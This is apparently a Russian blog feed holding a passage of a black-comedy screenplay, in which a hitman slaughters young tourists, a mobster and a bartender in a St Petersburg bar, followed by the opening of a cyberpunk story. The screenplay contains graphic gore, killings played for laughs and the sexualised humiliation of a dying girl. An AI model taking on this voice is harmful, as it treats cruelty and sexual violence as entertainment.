  <p id="SrfG">Компания продолжает веселиться, но наконец замечает отсутствие Петра, которого нет уже довольно давно.</p>
  <p id="pCUZ" data-align="center">ЛИЗА</p>
  <p id="t60n">             Ребят, а где Петя? </p>
  <p id="y7Ym">             Что-то давно его нет.</p>
  <p id="45EW" data-align="center">МАКС</p>
  <p id="s3t1">             Ну блиин.. Начинается..</p>
  <p id="l98n">             С этим дебилом всегда одни проблемы.</p>
  <p id="W0Hb">             Последний раз его с собой берем.</p>
  <p id="V5nS">             Стопудово опять втихую набухался и валяется где-нибудь в канаве.</p>
  <p id="qJC5"></p>
  <p id="X2iS">(обращаясь к Павлу и толкнув его в плечо)</p>
  <p id="wdQL">             Пошли!</p>
  <p id="D9Lp">             Один я этого утырка не потащу.</p>
  <p id="1EBY">             Салфеток возьми, блевоту счищать.</p>
  <p id="EEyZ">Ребята поднимаются из-за столика и быстро идут к выходу из бара.</p>
  <p id="Zuhz"></p>
  <h2 id="d7f6">18. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР</h2>
  <p id="ogFi">Макс с Павлом стоят у выхода из бара и с ужасом наблюдают как Артур запихивает останки Петра в мусорный бак.</p>
  <p id="0HnN">Реагируют, но.. в стиле современной молодежи.</p>
  <p id="3GwK" data-align="center">МАКС</p>
  <p id="6G4N">(обращаясь к Павлу)</p>
  <p id="xxA5">             Доставай телефон и врубай камеру! </p>
  <p id="aX0T">             Ща будет ШОК-КОНТЕНТ!</p>
  <p id="9x7h">Дальше идет запись с камеры телефона Павла.</p>
  <p id="ddQS" data-align="center">МАКС</p>
  <p id="nfgf">             Слыш дед!  Эй!</p>
  <p id="2Ljt">             Ты че творишь ваще?!</p>
  <p id="3gMk">             Таблеток недоел? Или у вас в Питере все такие?</p>
  <p id="g4F2">             К тебе обращаюсь.</p>
  <p id="z0TU">Артур невозмутимо закрывает крышку мусорного контейнера, отряхивается и наконец поворачивается к новым гостям.</p>
  <p id="6Ot0" data-align="center">АРТУР</p>
  <p id="BxXg">(кивая на мусорный бак)</p>
  <p id="scZz">             Просто помогаю вашему другу обрести желаемое. </p>
  <p id="zmLf">             Успокойтесь и не надо так орать.</p>
  <p id="bpzg">             Это неприлично.</p>
  <p id="kn4q">(окидывает ребят оценивающим взглядом)</p>
  <p id="cRjH">             А.. так вы туристы. </p>
  <p id="hlDI">             В Эрмитаже уже были?</p>
  <p id="QXA2">             Могу проводить, тут недалеко.</p>
  <p id="p4PG">Артур пытается приблизиться, раскинув руки в примирительном жесте. Молодые придурки отскакивают назад.</p>
  <p id="SejX" data-align="center">ПАВЕЛ</p>
  <p id="M4Ng">             Не приближайся! Мы все записываем!</p>
  <p id="wbX5" data-align="center">МАКС</p>
  <p id="3Uv9">             Понэл!</p>
  <p id="aWiO">(встает в подобие боксерской стойки, начинает подрыгивать на месте)</p>
  <p id="rHh1">             Ща втащу!</p>
  <p id="5Kly">             И че ты сделаешь, дед?</p>
  <p id="pdep">Тут происходит переход статичного кадра с мерзкой рожи охамевшего малолетнего полудурка на его же разбитое и окровавленное лицо, с забитым в глотку телефоном. </p>
  <p id="f3yT">Примерно как это было в одной из серий &quot;Игры престолов&quot;.</p>
  <p id="TZOk"></p>
  <h2 id="awRN">19. ИНТ. БАР. СТОЛИК МИХАИЛА.</h2>
  <p id="WTwi">Михаил наслаждается кофе, явно приготовленным с бОльшими усилиями для дорогого гостя.</p>
  <p id="r4zL">Подносит чашку ко рту, отпивает жмурясь от наслаждения — как в рекламе «Нескафе».</p>
  <p id="TG9J">В это время камера перемещается вверх к маленькому, залитому светом окну, где на асфальт падает залитый кровью и обезумевший от боли и ужаса Павел.</p>
  <p id="OoKk">Затем его кто-то ловит за ноги и начинает медленно тащить из кадра.</p>
  <p id="Eg1n">Павел пытается сопротивляться и царапает асфальт сбивая пальцы в кровь, но все тщетно.</p>
  <p id="AU8D">Его утаскивают.</p>
  <p id="pBNd">Камера возвращается вниз, где Михаил продолжает наслаждаться своим кофе и отличным вечером. </p>
  <p id="yvXt"></p>
  <h2 id="3s40">20. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР</h2>
  <p id="dxez">Камера показывает асфальт во дворе и медленно двигается по кровавым следам. </p>
  <p id="cuaE">Место действия — Питер, лето, поэтому асфальт разрисован посланиями в любви, детскими считалками и рекламой наркошопов.</p>
  <p id="I4lI">Наконец мы видим медленно ползущего Павла, с переломанными ногами и вспоротым брюхом.</p>
  <p id="MD9v">Павел умирает, изо рта уже отхаркивается кровь, но он продолжает упорно ползти к выходу из подворотни — к залитой светом улице, на которой кипит жизнь и ходят люди.</p>
  <p id="bDPB">Но доползти не успевает, поскольку Артур хватает его за ногу и тащит назад, во тьму.</p>
  <p id="pNcp">Переворачивает Павла, присаживается рядом и осматривает, пытаясь оценить состояние. Понимает, что тот не жилец.</p>
  <p id="q46C">Павел тянет руку, которую Артур перехватывает и приблизив лицо к умирающему, ждет последние слова.</p>
  <p id="NAc3">Павел пытается что-то сказать, хрипит, изо рта льется кровь..</p>
  <p id="cnRT" data-align="center">ПАВЕЛ</p>
  <p id="kMhi">(неразборчиво, тыкая пальцем куда-то в небо)</p>
  <p id="aYMc">             К..к..камера.. Камера.. на..блю..дения..</p>
  <p id="yHQ9" data-align="center">АРТУР</p>
  <p id="6aEX">             Что? </p>
  <p id="YW3L">              Аа.. ты про камеры?</p>
  <p id="l8Td">Оборачивается и смотрит в то место, куда указывает умирающий Павел.</p>
  <p id="Kovk">Высоко на столбе действительно висит камера наблюдения. И смотрит прямо на происходящее непотребство.</p>
  <p id="w6WG">Павел с хрипом пытается рассмеяться.</p>
  <p id="lxOe" data-align="center">ПАВЕЛ</p>
  <p id="dMnN">(внезапно вспомнив свои украинские корни)</p>
  <p id="coZq">             Все.. дiдько.. Тобi пiзда..</p>
  <p id="RxKI" data-align="center">АРТУР</p>
  <p id="v1xd">             Не стоит конечно портить последнее впечатление туриста о нашем замечательном городе. </p>
  <p id="c5Oh">             Но есть нюанс.</p>
  <p id="s4Te">(отчески)</p>
  <p id="F50h">             Видишь ли, мой юный друг.. </p>
  <p id="j2Dn">             Камеры-то в городе конечно есть. </p>
  <p id="FFTG">             И даже работают.</p>
  <p id="4Eji">             Но вот хранилища под записи с камер. </p>
  <p id="dBBY">             Их нет.</p>
  <p id="iG1C">             Ну.. потому что это был другой контракт, да. </p>
  <p id="9E83">(кивает головой в огорчении)</p>
  <p id="feJl">             Такое бывает. </p>
  <p id="5odS">             Не успели закупить.</p>
  <p id="fMmw">(пауза)</p>
  <p id="F1I2">             Поэтому твою преждевременную кончину увидят конечно многие. </p>
  <p id="vd4w">             Но запомню только я один.</p>
  <p id="mBLq">             Могу последние слова твоей маме потом передать.</p>
  <p id="b7vT">(с умилением)</p>
  <p id="oaNg">             Она у такого-то пирожочка наверняка красивая.</p>
  <h2 id="hT7N">21. ИНТ. СТОЛИК МОЛОДЕЖИ</h2>
  <p id="SPWy">За столиком остались лишь дамы — Лиза с Алиной. Дамы начинают нервничать, поскольку парней нет и довольно давно.</p>
  <p id="C9v9">Мерзкий бармен уже косится на бесхозных, захмелевших дам и вот-вот начнет подкатывать.</p>
  <p id="3MRL" data-align="center">АЛИНА</p>
  <p id="q2QS">Блин ну и где эти придурки шляются.</p>
  <p id="wWeQ" data-align="center">ЛИЗА</p>
  <p id="k9u6">(смотрит на наручные часы)</p>
  <p id="HD8c">             Так, нам скоро уже выходить.</p>
  <p id="HORI">Достает телефон, открывает чат и начинает писать Павлу. </p>
  <p id="h3Uy">             Странно.. </p>
  <p id="BMxO">             Почему-то Паша не в сети..</p>
  <p id="6tqW">             Телефон разрядился что-ли?</p>
  <p id="I1yn">(обращаясь к Алине)</p>
  <p id="MC6u">             Позвони своему, а?</p>
  <p id="4kQ6" data-align="center">АЛИНА</p>
  <p id="eFa6">(дуясь после стычки)</p>
  <p id="Lt7I">             Да щас!</p>
  <p id="RHPU">             Пусть первый звонит и извиняется!</p>
  <p id="Zddx">             И шоб с цветами!</p>
  <p id="77XT" data-align="center">ЛИЗА</p>
  <p id="6d2i">             Алин, дело серьезное. </p>
  <p id="VqEj">             Их давно нет.</p>
  <p id="yJXs">           </p>
  <p id="QAG2">Алина достает розовый айфон и делает вызов.</p>
  <p id="VaTl">В этот момент камера показывает залитый кровью, разбитый телефон, забитый в глотку Максу. </p>
  <p id="bBvd">Телефон начинает светиться и вибрировать, красиво подсвечивая сильно избитое лицо своего бывшего владельца.</p>
  <p id="JgGW">В этот момент в телефон влетает кулак Артура, разбивая окончательно. </p>
  <p id="VUwm">Камера с ударом уходит в затемнение, дабы не пугать излишним мясом зрителей.</p>
  <p id="CG9Q" data-align="center">АЛИНА</p>
  <p id="tNaP">             Оч странно. </p>
  <p id="JkMb">             Сначала гудки, теперь «абонент не в сети».</p>
  <p id="G5NE" data-align="center">ЛИЗА</p>
  <p id="5rHp">             Да это все долбаный Питер. </p>
  <p id="4lZO">             В этих дворах-колодцах — как в гробу.</p>
  <p id="gibb">             Совсем сигнал не ловится.</p>
  <p id="6YGf" data-align="center">АЛИНА</p>
  <p id="dhHM">             (морщась)</p>
  <p id="ZrwJ">             Я походу траванулась. Живот крутит. Отойду в дамскую комнату. </p>
  <p id="r9Bk">             Cходи наверх чтоли, посмотри наших парней.</p>
  <p id="JohI">             Наверное они просто с кем-то затусили.</p>
  <p id="n6Ai">             Встретили кого-то из друзей.</p>
  <p id="TFSe">             Стоят и обсуждают свой WoW,  как последние чмошники. </p>
  <p id="xJhC">             Забыв про время.</p>
  <p id="vkLC">             А мы тут дергаемся.</p>
  <p id="9Ulm">Конец диалога уже в следующей сцене.</p>
  <h2 id="BxRK">22. НАТ. ВЫХОД ИЗ БАРА</h2>
  <p id="2kDi">Лиза стоит возле выхода из бара, в полном охренении от окружающего побоища. В глазах неописуемый ужас, в теле — паралич, в пустой голове — непонимание что делать дальше.</p>
  <p id="ESkR">Камера показывает прислоненное к стене, окровавленное тело Макса, свесившего вниз остатки лица. </p>
  <p id="gg7p">Затем Лиза замечает Артура, невозмутимо тянущего за ноги труп Павла, подальше от света улицы.</p>
  <p id="iQzu">Артур насвистывает мелодию из «Бригады».</p>
  <p id="viaT">Тут Артур замечает Лизу, видит что та вот-вот закричит, бросает Павла и быстро приближается к Лизе.</p>
  <p id="LmxL">Парализованная от ужаса Лиза не понимает кто и зачем к ней приближается.</p>
  <p id="6CxL" data-align="center">АРТУР</p>
  <p id="nD2t">(делая руками успокаивающий жест)</p>
  <p id="y4at">             Все хорошо, успокойся. </p>
  <p id="gG4H">             Я из полиции. </p>
  <p id="02vV">             Это просто спецэффекты. Мы тут кино снимаем.</p>
  <p id="QwBa">             Все под контролем.</p>
  <p id="tkZ3">Обманув таким нехитрым образом бдительность малолетней идиотки, Артур наконец вплотную приближается к Лизе. </p>
  <p id="RTJR">Одной рукой он закрывает ей рот, а в другой оказывается нож, которым он наносит быстрый удар в живот.</p>
  <p id="Hl9T">Лиза не сразу понимает что произошло и почему она так быстро слабеет. Она подносит пальцы к животу и возвращает в кадр уже окровавленными.  </p>
  <p id="fFCu">На лице появляется осознание и Лиза переносит полный страха взгляд на своего убийцу. Начинает плакать.</p>
  <p id="6J4y">Тут она внезапно слабеет и чтобы не потерять равновесие вцепляется в Артура.</p>
  <p id="CfDo" data-align="center">АРТУР</p>
  <p id="wNAI">(медленно помогая Лизе сесть на ступеньки у входа в бар)</p>
  <p id="wdxJ">             Все хорошо. Все будет хорошо. </p>
  <p id="2eh6">             Просто ты умираешь.</p>
  <p id="qkU9">             Так бывает.</p>
  <p id="Qv74">(пауза)</p>
  <p id="KxsZ">             Увидишь на том свете кого из святых — попроси почаще заглядывать в наш замечательный город.</p>
  <p id="uCY3">             Хотя-бы на Рубенштейна.</p>
  <p id="KIyU">(задумавшись)</p>
  <p id="m2AM">             А если будет кто с рогами и копытами — все равно зови.</p>
  <p id="8HTA">             Для таких у нас тоже места есть, интересные. </p>
  <p id="bdOh"></p>
  <h2 id="LGn2">23. ИНТ. БАР</h2>
  <p id="N06Q">Сильно заляпанный чужой кровью, в порванной одежде, с небольшими ссадинами и кровоподтеками, Артур спускается по ступенькам обратно в бар, проходит через помещение и садится за столик с Михаилом.</p>
  <p id="W6JA">Михаил смотрит на него, замечает новый прикид и пытается понять как на это реагировать.</p>
  <p id="GMCI" data-align="center">МИХАИЛ</p>
  <p id="PQtq">             Эээ.. полагаю встретил старых друзей?</p>
  <p id="HtTW">(озираясь в поисках свидетелей)</p>
  <p id="2hHF">             Мне проблемы не особо нужны..</p>
  <p id="LPyo" data-align="center">АРТУР</p>
  <p id="IaBF">(медленно, по слогам)</p>
  <p id="IeLk">             Тебе проблемы не нужны..</p>
  <p id="8Dks">             Ну на-до же-ее..</p>
  <p id="WcTW">             Кто бы мог подумать.</p>
  <p id="0i9X">(пристально смотрит в глаза Михаилу)</p>
  <p id="rAJi">             Но вот ты сидишь здесь, в этом подвале из девяностых. </p>
  <p id="dC9z">             Весь такой красивый и современный.</p>
  <p id="JYLE">             Затираешь про будущее, которое наступило.</p>
  <p id="UIZD">             Типа «дорогу молодым» и как все кругом изменилось.</p>
  <p id="QE6q">(показывает на окровавленную одежду)</p>
  <p id="J23W">             Но видишь ли.</p>
  <p id="o3tN">             Я тут недавно пообщался с подрастающим поколением.</p>
  <p id="BDyx">Камера на миг показывает окровавленные трупы туристов. </p>
  <p id="pnkv">             И теперь имею другое мнение, прикинь.</p>
  <p id="AbbU">(процедив)</p>
  <p id="11ey">             Ни-че-го не изменилось.</p>
  <p id="v9hG">             По улицам бегают точно такие же молодые волки. Только заметно тупее.</p>
  <p id="J7rV">             И жрут друг друга.</p>
  <p id="B7P0">             А это значит..</p>
  <p id="CWRJ">(задумавшись)</p>
  <p id="m7gg">             Вот кстати.. </p>
  <p id="RSWB">             Как ты сам думаешь, что это значит?</p>
  <p id="86vs">Михаил пожимает плечами, в полной уверенности что они с Артуром договорились, не понимая что ситуация изменилась.</p>
  <p id="KotT" data-align="center">Артур</p>
  <p id="zk8I">(с улыбкой)</p>
  <p id="0cTZ">             А это значит, мой дорогой беглый друг..</p>
  <p id="FEvV">             Что правила не изменились. </p>
  <p id="aqFc">(берется за автомат, спрятанный под столом)</p>
  <p id="A63Y">             ДОБРО ПОЖАЛОВАТЬ НА РОДИНУ МУДИЛА!</p>
  <p id="bsMR">(расстреливает Михаила в упор)</p>
  <p id="rYVj">Поскольку автомат был с глушителем, а расстрел происходит в подвале — к бару не стягиваются все возможные силовики и спецслужбы. </p>
  <p id="t33F">К сожалению именно в этот момент с кухни возвращается бармен, неся заказанные компанией острые крылышки.</p>
  <p id="aWpk">Заметив столь серьезные изменения в заведении, встает столбом и смотрит в немом изумлении то на Артура то на растерзанный труп Михаила, то на следы от пуль на стене.</p>
  <p id="SkYt">Артур рывком вытаскивает автомат из-под стола и медленно наводит на бармена.</p>
  <p id="wl8b">Делает знак — «подними руки вверх».</p>
  <p id="tSUJ">Бармен не понимает и думая, что команда касалась тарелки с заказанной едой, медленно ставит их на ближайший столик.</p>
  <p id="eWeJ" data-align="center">АРТУР</p>
  <p id="6Hca">(качая головой от такой идиотии)</p>
  <p id="uWy3">             Руки подними, полудурок.</p>
  <p id="BkE9">Артур не отрывая взгляда от бармена, одной рукой держит автомат а другой достает из сумки старый потертый ПМ.</p>
  <p id="oUuA" data-align="center">АРТУР</p>
  <p id="36qK">(заметив взгляд бармена, направленный на навороченный автомат) </p>
  <p id="MRVk">             Оружие импортное, патроны дорогие.</p>
  <p id="P4dM">             Только для особых клиентов.</p>
  <p id="kHJ9">             Ты же не обидишься?</p>
  <p id="VStc">Бармен в недоумении кивает.</p>
  <p id="cPMo">Артур стреляет из ПМ бармену в живот, но выстрел не убивает сразу.</p>
  <p id="agEb">Бармен орет от боли и катается по полу.</p>
  <p id="PkUv">Артур в это время медленно разбирает автомат, снимает глушитель и отсоединяет магазин, аккуратно складывая все в сумку под задорную музыку начала 90х.</p>
  <p id="MFmA">Присаживается возле умирающего бармена. </p>
  <p id="kDq8" data-align="center">АРТУР</p>
  <p id="BMOj">(с выражением)</p>
  <p id="6pSw">             Все же расскажу, почему всегда заказываю Американо.</p>
  <p id="CCfi">(бармен перестает стонать и с ужасом смотрит на Артура)</p>
  <p id="3Bpx">             Потому что его нельзя испортить, представляешь?</p>
  <p id="Jd9C">             Кофе, вода и молоко. </p>
  <p id="kwI4">             И все. </p>
  <p id="OHCd">             Все.</p>
  <p id="qZcr">             Даже самый тупой подросток, не определившийся с полом или кривозубый бармен в убогом баре всегда могут приготовить сраную чашечку Американо.</p>
  <p id="68nT">             Даже будучи насквозь упоротыми или в депрессии.              </p>
  <p id="dcNz">             Но ты, мой друг, превзошел самые худшие ожидания.</p>
  <p id="sbLT">             Cмог испоганить такой простой напиток.</p>
  <p id="yAmX" data-align="center">БАРМЕН</p>
  <p id="nhL6">(из последних сил, корчась от боли)</p>
  <p id="1A2G">             ПОШЕЛ НА..!</p>
  <p id="SCvl">Закончить он не успевает, поскольку Артур добивает его выстрелом в упор. </p>
  <h2 id="cvUa">24. НАТ. ВНУТРЕННИЙ ДВОР ПЕРЕД БАРОМ</h2>
  <p id="jOec">Показывается летнее небо с красивыми облачками. Ветер качает развешанную сушиться одежду (все еще встречается в старых районах).</p>
  <p id="LLps">Где-то вдалеке слышен детский смех и звуки большого города.</p>
  <p id="ix0b">Камера переходит на мертвого Павла.</p>
  <p id="iV5B">На труп садится голубь, курлыкает, затем начинает клевать мертвую руку.</p>
  <p id="lP5Y"></p>
  <h2 id="kOWc">25. ИНТ. БАР</h2>
  <p id="JIJa">Переход камеры с живого голубя на зажаренные крылышки — с легким намеком на ход вещей.</p>
  <p id="pCXV">Артур замечает оставленные барменом крылышки.</p>
  <p id="Ytsi" data-align="center">АРТУР</p>
  <p id="3B8x">             О! Ну хоть что-то хорошее за сегодня.</p>
  <p id="qw7j">Подбирает одно из зажаренных крылышек с тарелки, с хрустом и наслаждением начинает жевать.</p>
  <p id="PfeG">Внезапно из уборной возвращается Алина. Копаясь в сумочке на ходу, он не сразу замечает отсутствие ребят и окружающий погром.</p>
  <p id="FC21" data-align="center">АЛИНА</p>
  <p id="vx1p">             Ребят, тут кухня не очень. </p>
  <p id="VlUd">             Не налегайте на жратву. </p>
  <p id="nXFR">             Она походу несвежая..</p>
  <p id="OVwv">Услышав это, Артур перестает жевать и выплевывает остатки недоеденного.</p>
  <p id="H0lu">Закрыв наконец сумочку, Алина поднимает голову и видит пустой столик, где сидела их компания. </p>
  <p id="3Hxu">Посреди пустого зала.</p>
  <p id="L34l">Труп бармена она пока не замечает.</p>
  <p id="4n2i" data-align="center">АЛИНА</p>
  <p id="GOM0">(озираясь)</p>
  <p id="j1FR">             А.. а где все?</p>
  <p id="y97H">(уставившись на Артура)</p>
  <p id="czBf">             А вы кто?</p>
  <p id="RANk" data-align="center">АРТУР</p>
  <p id="GQsg">             Друг семьи.</p>
  <p id="ysgn" data-align="center">АЛИНА</p>
  <p id="PH9e">             Что.. чего? </p>
  <p id="hDHf">             Какой семьи?</p>
  <p id="rKog">Тут Алина наконец замечает ногу бармена, чей труп валяется на полу. Затем труп Михаила. И дырки от пуль в дальней стене.</p>
  <p id="qCxC" data-align="center">АРТУР</p>
  <p id="ALEx">(доставая ПМ и наводя на Алину)</p>
  <p id="KtCm">             Криминальной семьи.</p>
  <p id="gQjM">От выстрела Алина отлетает к стойке и замирает.</p>
  <p id="u8OE" data-align="center">АРТУР</p>
  <p id="ALIK">(проходя мимо трупа Алины)</p>
  <p id="QMeJ">             И почему смерть всегда забирает самых красивых..</p>
  <p id="7lvL">             В шалмане бы с тебя не слезали..</p>
  <p id="5qoZ">Убирает ПМ, достает из сумки гранату, отрывает чеку и закатывает гранату по полу на кухню.</p>
  <p id="J8mu" data-align="center">АРТУР</p>
  <p id="2laX">             Да и вообще мне ваш сервис никогда не нравился.</p>
  <p id="apRZ">Артур перекидывает сумку через плечо и выходит из бара.</p>
  <p id="6ygS"></p>
  <h2 id="ogWP">26. НАТ. ВХОД В БАР.</h2>
  <p id="sViV">Показывается залитая кровью подворотня, раскиданные по двору тела молодых туристов.</p>
  <p id="HQSW">У входа в бар на ступеньках сидит едва живая залитая кровью Лиза, которую пырнули в живот. </p>
  <p id="YDGz">Лизу плачет и прижимает руки к окровавленному животу.</p>
  <p id="iaVJ">Артур выходя из бара, замечает Лизу и присаживается рядом.</p>
  <p id="K61j" data-align="center">АРТУР</p>
  <p id="0YCy">             Понимаю, не самый лучший момент для подобных вопросов..</p>
  <p id="xH0x">(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)</p>
  <p id="6Mgq">             Но все же..</p>
  <p id="V0N7">             Вы, ребята успели.. побывать в Эрмитаже?              </p>
  <p id="3reG">(камера медленно обводит залитый кровью двор и валяющиеся трупы)</p>
  <p id="zFmL">             Там просто невероятно красиво!</p>
  <p id="qsUF">(оборачивась к Лизе и улыбаясь)</p>
  <p id="POIY">            Кстати, у меня есть для тебя подарок.</p>
  <p id="03F8">            Чтобы сделать этот день незабываемым.</p>
  <p id="eODE">Артур достает из сумки гранату и скотч, кладет гранату в сложенные лодочкой руки Лизы, затем медленно обматывает ей руки вместе с гранатой скотчем.</p>
  <p id="CpJQ">Лиза мелко дрожит, плачет и не может сопротивляться. </p>
  <p id="65Lv" data-align="center">АРТУР </p>
  <p id="UUrU">(во время процесса)</p>
  <p id="Kr1x">            Без обид, деточка.</p>
  <p id="CpAf">            Понимаю что ты ждала от жизни другого.</p>
  <p id="h88D">            Наверное у тебя были большие планы.</p>
  <p id="hkNR">(продолжает обматывать гранату скотчем)</p>
  <p id="KooD">            Мечты о лучшей жизни.</p>
  <p id="Ipqg">            Но увы.</p>
  <p id="I7cO">            Жизнь вот такое вот говно.</p>
  <p id="SAmA">(глядя в глаза)</p>
  <p id="6hb9">            Не люблю глумиться над убогими и умирающими, не тому меня мама учила.</p>
  <p id="bL2t">            Но очень надо оставить знак.</p>
  <p id="NDK5">Артур достает визитку Михаила, извлекает из сумки пачку меченых долларов и засовывает все это Лизе в трусы.</p>
  <p id="cRx3" data-align="center">АРТУР</p>
  <p id="ktUg">(в процессе запихивания)</p>
  <p id="dKNy">             Видишь ли, я сегодня слегка превысил свой лимит. </p>
  <p id="z9Lr">Камера показывает залитый кровью двор и раскиданные в разных позах трупы.</p>
  <p id="Rr1b">             Семь жмуров за раз.</p>
  <p id="yXaW">Камера показывает крупно расстрелянного Михаила и труп бармена рядом на полу. Затем труп Алины с навечно застывшим изумлением на лице и дырой в красивом лбу.</p>
  <p id="raRo">             На суицид ни один из них не потянет.</p>
  <p id="llJ1">             Мой тариф «Криминальный» такое не покрывает, понимаешь?</p>
  <p id="6Jee">             Придется доплачивать.</p>
  <p id="p6Jv">             А я всегда огорчаюсь когда доплачиваю.</p>
  <p id="PUcL">             Это не по христиански.</p>
  <p id="PeWu">Наконец Артур заканчивает с Лизой и натягивает трусы обратно.</p>
  <p id="v348" data-align="center">АРТУР</p>
  <p id="eKG6">            Не волнуйся деточка, это последний раз когда в тебе был мужчина.</p>
  <p id="udXB">            Надеюсь низ хорошо сохранится.</p>
  <p id="jbr9">            Жаль что вы ребята так и не успели побывать в Эрмитаже..</p>
  <p id="zWZz">Артур вырывает чеку и быстро уходит из кадра.</p>
  <p id="qIqI">Умирающая, плачущая, дрожащая от шока и ужаса, практически изнасилованная Лиза переводит взгляд с гранаты на экран, лицом к зрителю.</p>
  <p id="KPwR" data-align="center">ЛИЗА</p>
  <p id="MH0D">             П..п..помогите..</p>
  <p id="ZphZ">Какое время ничего не происходит. </p>
  <p id="IqiA">Экран уходит в затемнение.</p>
  <p id="UELf">Затем раздается взрыв.</p>
  <p id="9F23">Взрыв переходит в праздничный салют с феерверками на фоне самых известных мест Санкт-Петербурга.</p>
  <p id="vnBc">Появляется заставка:</p>
  <p id="ODB4" data-align="center">ВЕСЕЛЫЕ КАНИКУЛЫ</p>
  <p id="gySD"></p>
  <h2 id="vqhX">ТИТРЫ</h2>
  <p id="Zybh">Пока идут титры, показывается дополнительная история, с рассказом о последующих событиях — в стиле репортажа.</p>
  <p id="RkxU">Очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке смотрит на реку, слушает радио и курит сигару.</p>
  <p id="YIkz">Кресло-каталка стоит на террасе загородного коттеджа, вид на реку Неву, съемка со спины, лица не видно.</p>
  <p id="bIV3">По Неве плывет теплоход с туристами, по радио рассказывают новости.</p>
  <p id="hew3">             Пятеро молодых туристов оказались жертвами жестоких криминальных разборок в северной столице..</p>
  <p id="Xhx5">             Вчера днем в центре Санкт-Петербурга произошло массовое убийство..</p>
  <p id="qd4z">             На месте происшествия найден мертвым известный в прошлом криминальный авторитет Миша Козырной, недавно вернувшийся в Россию после начала расследования Интерпола.</p>
  <p id="jXff">             Найденные на месте улики показывают, что Козырной был связан с мексиканскими картелями и участвовал в незаконном обороте наркотиков.</p>
  <p id="z43t"></p>
  <p id="XhjW">             К другим новостям.</p>
  <p id="Z3m5">             Домовитый бобр с Чёрной речки таки обрушил дерево на припаркованную машину у элитного ЖК — ровно то, чего и боялись местные жители. </p>
  <p id="W9uJ">             На поимку лохматого даже вызывали спецов — но преступник оказался хитрее и быстрее человека с петлёй. </p>
  <p id="vA49">             Жители разошлись во мнениях: жалко добряка или своё имущество. В итоге пока решили оставить всё как есть.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/tru-cyberpunk-part-1</guid><link>https://blog.0x08.ru/tru-cyberpunk-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/tru-cyberpunk-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Настоящий киберпанк (отрывок)</title><pubDate>Thu, 26 Feb 2026 06:56:40 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/ff/62/ff621fca-30ce-4bcb-ba33-c6c9ff7a53c9.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/46/06/4606ddaf-f3ed-4524-8a59-381b05e2e436.jpeg"></img>Небольшой отрывок, того что когда-нибудь станет полноценным произведением. Вам на оценку.]]></description><content:encoded><![CDATA[
  <p id="Otqm">Небольшой отрывок, того что когда-нибудь станет полноценным произведением. Вам на оценку.</p>
  <p id="3xOf">На основе моих «студенческих работ» по сценарному мастерству.</p>
  <figure id="GJUj" class="m_column">
    <img src="https://img1.teletype.in/files/46/06/4606ddaf-f3ed-4524-8a59-381b05e2e436.jpeg" width="1920" />
  </figure>
  <p id="htT4">На хорошего человека уходит обойма патронов. </p>
  <p id="Z5uR">На плохого — две.   <br />В меня разрядили четыре...</p>
  <p id="PT7F">Четыре полные обоймы... тридцать шесть маленьких кусочков свинца, наделавших тридцать шесть новых дырок —  серьезные люди не промахиваются. </p>
  <p id="FMeL">Особенно в упор.</p>
  <p id="QBL4">Смешно, мой доктор как-то сказал, что организму не хватает железа.. </p>
  <p id="QH7Y">Ну.. думаю теперь этот вопрос решен  — <strong>столько</strong> свинцовых пилюль моему бедному организму хватит надолго. </p>
  <p id="B7F2">С запасом. </p>
  <p id="ELaG">Хотя вряди доктор именно эти пилюли имел ввиду.</p>
  <p id="UtKi">..</p>
  <p id="p710">Теперь вы наверное захотите узнать, кто я вообще такой и почему лежу в позе морской звезды в этой вонючей и темной подворотне. </p>
  <p id="30Hz">В луже собственной крови, которая сейчас медленно перекрашивает мой дорогой костюм. </p>
  <p id="aIv5">Полагаю, еще определенные вопросы вызовет рюкзак, который валяется рядом. Вернее отрубленная голова внутри, с проводами.</p>
  <p id="y0wZ">Ну и наверное будет интересно, какое отношение ко всему этому имеет Надежда Кадышева и ансамбль «Самоцветы».</p>
  <p id="Tur8">Вопросы, вопросы..</p>
  <p id="G373">Неудачно вышло, что тут скажешь.</p>
  <p id="PxHQ">Но хочу сразу сообщить, что ни Надежда Кадышева ни ансамбль не имеют к происходящему никакого отношения.</p>
  <p id="bqTz">Все это совсем не важно. </p>
  <p id="SAir">Важно другое — что за каким-то бесом я до сих пор жив.</p>
  <p id="6MKu">Пусть и не целиком, но жив. </p>
  <p id="qfrd">На очень тонкой грани между живыми мертвыми. Оставить меня вот так — одной ногой в могиле это высший уровень мастерства. </p>
  <p id="ZZkT">Да, вы правильно поняли — мне позволили выжить.</p>
  <p id="HaOF">И тот кто принял это интересное решение —  ни-хре-на не «Святая Дева Мария». Потому что такие святым девам не нужны.</p>
  <p id="6PtH">Ну... очень на это надеюсь.</p>
  <p id="o83h"></p>
  <h2 id="pKFD">Две недели назад</h2>
  <p id="le3m">— Ну что Артем, ты в деле? </p>
  <p id="KWvv">Задавший этот, столь банальный вопрос, русый парень в деловом костюме не производил впечатление опасного или проблемного. Как впрочем и его коллега, сидящий рядом. </p>
  <p id="8vCt">Мы все тогда не были проблемными. </p>
  <p id="9jnh">Сотрудники большой компании — мелкие пчелки в большом улье, следящие за уровнем хозяйского меда. </p>
  <p id="I4rw">Обычный рабочий день в стеклянном офисе шел своим чередом, наступил обеденный перерыв в корпоративной столовой.</p>
  <p id="9ewK">— Не переживай, глава департамента в курсе и нашу инициативу поддержат сверху. Проблем не будет. </p>
  <p id="YSoz">Сидящий рядом с русым грузный армянский мужчина с добрым лицом, сделав глоток кофе и картинно разведя руками продолжил. </p>
  <p id="fZvB">— Пойми, все это не более чем игра. Дань уважения преданному сотруднику, отдавшему не один десяток лет работе на корпорацию. </p>
  <p id="2hqO">— Но чисто между нами: старой крысе давно пора на пенсию. И в руководстве об этом знают.</p>
  <p id="HdgU">— Ты на хорошем счету, даже врать не придется. </p>
